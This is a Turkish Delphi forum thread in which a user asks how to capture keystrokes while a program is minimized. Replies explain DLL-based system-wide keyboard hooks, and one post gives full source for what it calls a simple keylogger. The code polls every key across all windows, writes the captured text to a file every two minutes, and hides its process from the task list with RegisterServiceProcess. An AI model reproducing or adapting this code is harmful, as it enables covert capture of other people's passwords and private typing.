tuş takibi
Forum kuralları
Forum kurallarını okuyup, uyunuz!
Forum kurallarını okuyup, uyunuz!
tuş takibi
Merhaba,
klavyeden basılan tuşları izlemek istiyorum. Formda aradım bunun için hook denilen bir yöntemden bahsediliyor. ( Program min. edilmişken de baılan tuşları algılamalı) Küçük bir örneği olan var mı?
teşekkürler
klavyeden basılan tuşları izlemek istiyorum. Formda aradım bunun için hook denilen bir yöntemden bahsediliyor. ( Program min. edilmişken de baılan tuşları algılamalı) Küçük bir örneği olan var mı?
teşekkürler
@MicroChip
- Örnek gönderince seninkini de inceleriz...
- http://www.Torry.Net sitesinde bir örnek gördüm... Linki
http://www.swissdelphicenter.ch/torry/s ... hp?id=1722
- İlk olarak bir DLL kaynak kodu var. Bu DLL, Hook operasyonunu takip ediyor... Sonra da bir tuşa basılmışsa DLL'ye parametre olarak gönderilen Memo'nun handle'i yardımıyla basılan tuşları bu memo'ya basıyor...
- DLL olduğundan da kolaylıkla da hafızadan atılabiliyor...
- Örnek programda ise bir Label bir Memo bir Start butonu bir de Stop butonu oluyor... Start butonuna basınca Hook İşlemi başlıyor ve programda olsun Windows'un herhangi bir yerinde olsun basılan tuşları görüntülüyor.
- Örnek gönderince seninkini de inceleriz...
- http://www.Torry.Net sitesinde bir örnek gördüm... Linki
http://www.swissdelphicenter.ch/torry/s ... hp?id=1722
- İlk olarak bir DLL kaynak kodu var. Bu DLL, Hook operasyonunu takip ediyor... Sonra da bir tuşa basılmışsa DLL'ye parametre olarak gönderilen Memo'nun handle'i yardımıyla basılan tuşları bu memo'ya basıyor...
- DLL olduğundan da kolaylıkla da hafızadan atılabiliyor...
- Örnek programda ise bir Label bir Memo bir Start butonu bir de Stop butonu oluyor... Start butonuna basınca Hook İşlemi başlıyor ve programda olsun Windows'un herhangi bir yerinde olsun basılan tuşları görüntülüyor.
O satırı sil... Söylemeyi unutmuşum....
// Edit //
- Bu işlemin bir DLL içinde yapılması gerekliliği ise şöyle açıklanıyor...
- Sistem bazında kanca operasyonu (SystemWide Hook) yapabilmek için çalışan tüm programların adres alanına yüklenebilme özelliğinden dolayı bir DLL tarafından işlemlerin yürütülmesi gerekiyor...
- Sizin programınıza ise, programınızın handle (windows tarafından verilen numara, tutamaç numarası) aracılığıyla kullanıcı tanımlı mesaj ile aktarılıyor...
- Yada bu verilen linkteki örnekteki gibi, programınızı Handle numarasını değil de yazacağınız nesnenin handle numarasını vererek direkt oraya işlem yapılmasını tercih edebiliniyor...
- Örnek çoğaltılabilir...
// Edit //
- Bu işlemin bir DLL içinde yapılması gerekliliği ise şöyle açıklanıyor...
- Sistem bazında kanca operasyonu (SystemWide Hook) yapabilmek için çalışan tüm programların adres alanına yüklenebilme özelliğinden dolayı bir DLL tarafından işlemlerin yürütülmesi gerekiyor...
- Sizin programınıza ise, programınızın handle (windows tarafından verilen numara, tutamaç numarası) aracılığıyla kullanıcı tanımlı mesaj ile aktarılıyor...
- Yada bu verilen linkteki örnekteki gibi, programınızı Handle numarasını değil de yazacağınız nesnenin handle numarasını vererek direkt oraya işlem yapılmasını tercih edebiliniyor...
- Örnek çoğaltılabilir...
En son mrmarman tarafından 18 Mar 2004 06:03 tarihinde düzenlendi, toplamda 1 kere düzenlendi.
İşte çok basit bir keylogger kodu:
@mrmcop inceleyebilirsin dostum (hala scrollbarı yapmadım vakit arıyom
Kolay Gelsin
@mrmcop inceleyebilirsin dostum (hala scrollbarı yapmadım vakit arıyom
Kod: Tümünü seç
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
const
RSP_SIMPLE_SERVICE = 1;
RSP_UNREGISTER_SERVICE = 0;
implementation
{$R *.DFM}
var F:Textfile;
//Detect Press Key From any window
procedure TForm1.Timer1Timer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
9 : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10; //Enter
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + '[Page Up]';
34 : memo1.text := Memo1.text + '[Page Down]';
35 : memo1.text := Memo1.text + '[End]';
36 : memo1.text := Memo1.text + '[Home]';
//Arrow Up Down Left Right
37 : memo1.text := Memo1.text + '[Left]';
38 : memo1.text := Memo1.text + '[Up]';
39 : memo1.text := Memo1.text + '[Right]';
40 : memo1.text := Memo1.text + '[Down]';
44 : memo1.text := Memo1.text + '[Print Screen]';
45 : memo1.text := Memo1.text + '[Insert]';
46 : memo1.text := Memo1.text + '[Del]';
145 : memo1.text := Memo1.text + '[Scroll Lock]';
//Number 1234567890 Symbol !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+'[Num Lock]';
112..123: //F1-F12
memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'\';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
end;
//SAVE THE TEXT every 2 minutes
procedure TForm1.Timer2Timer(Sender: TObject);
begin
Assignfile(F,'Save.txt');
if not FileExists('Save.txt') Then
begin
Rewrite(F);
Closefile(F);
End
Else
Assignfile(F,'Save.txt');
{$I-}
Append(F);
{$I+}
If IOResult<> 0 Then
Begin
ShowMessage('Cannot Open File');
End;
Write(F,Memo1.Text);
Memo1.Clear;
Closefile(F);
end;
function RegisterServiceProcess(dwProcessID,dwType : DWORD) : DWORD;
stdcall; external 'KERNEL32.DLL';
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,RSP_SIMPLE_SERVICE);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,RSP_UNREGISTER_SERVICE);
end;
end.
- Bende çalışıyor demiştim... Sistemi tanıtayım...
OS : WinME
Delphi 5.0 kullanıyorum...
- Denediğim haliyle projenin derlenmiş hali ile kaynak kodu zip'li halini şu likten çekip deneyin... (150kb)
- Linkin üzerine sağ mouse ile tıklayıp farklı kaydet deyin. Geocities bazen sorun yaratıp linki normal metin gibi açmaya çalışıyor...
http://www.geocities.com/divxdosya/keyl ... rochip.zip
OS : WinME
Delphi 5.0 kullanıyorum...
- Denediğim haliyle projenin derlenmiş hali ile kaynak kodu zip'li halini şu likten çekip deneyin... (150kb)
- Linkin üzerine sağ mouse ile tıklayıp farklı kaydet deyin. Geocities bazen sorun yaratıp linki normal metin gibi açmaya çalışıyor...
http://www.geocities.com/divxdosya/keyl ... rochip.zip
Selam...
- Büyük ihtimalle WinXP ile ilgili... Demek geriye kalan DLL yazma olayını yapıcan...
- Bunun örneğini de 170 kb'lık zip'lı dosya olarak....
http://www.geocities.com/divxdosya/keyboardhook.zip
linkinden çekebilirsin... Yine sağ mouse basıp farklı kaydet deyin...
- Başarılar...
- Büyük ihtimalle WinXP ile ilgili... Demek geriye kalan DLL yazma olayını yapıcan...
- Bunun örneğini de 170 kb'lık zip'lı dosya olarak....
http://www.geocities.com/divxdosya/keyboardhook.zip
linkinden çekebilirsin... Yine sağ mouse basıp farklı kaydet deyin...
- Başarılar...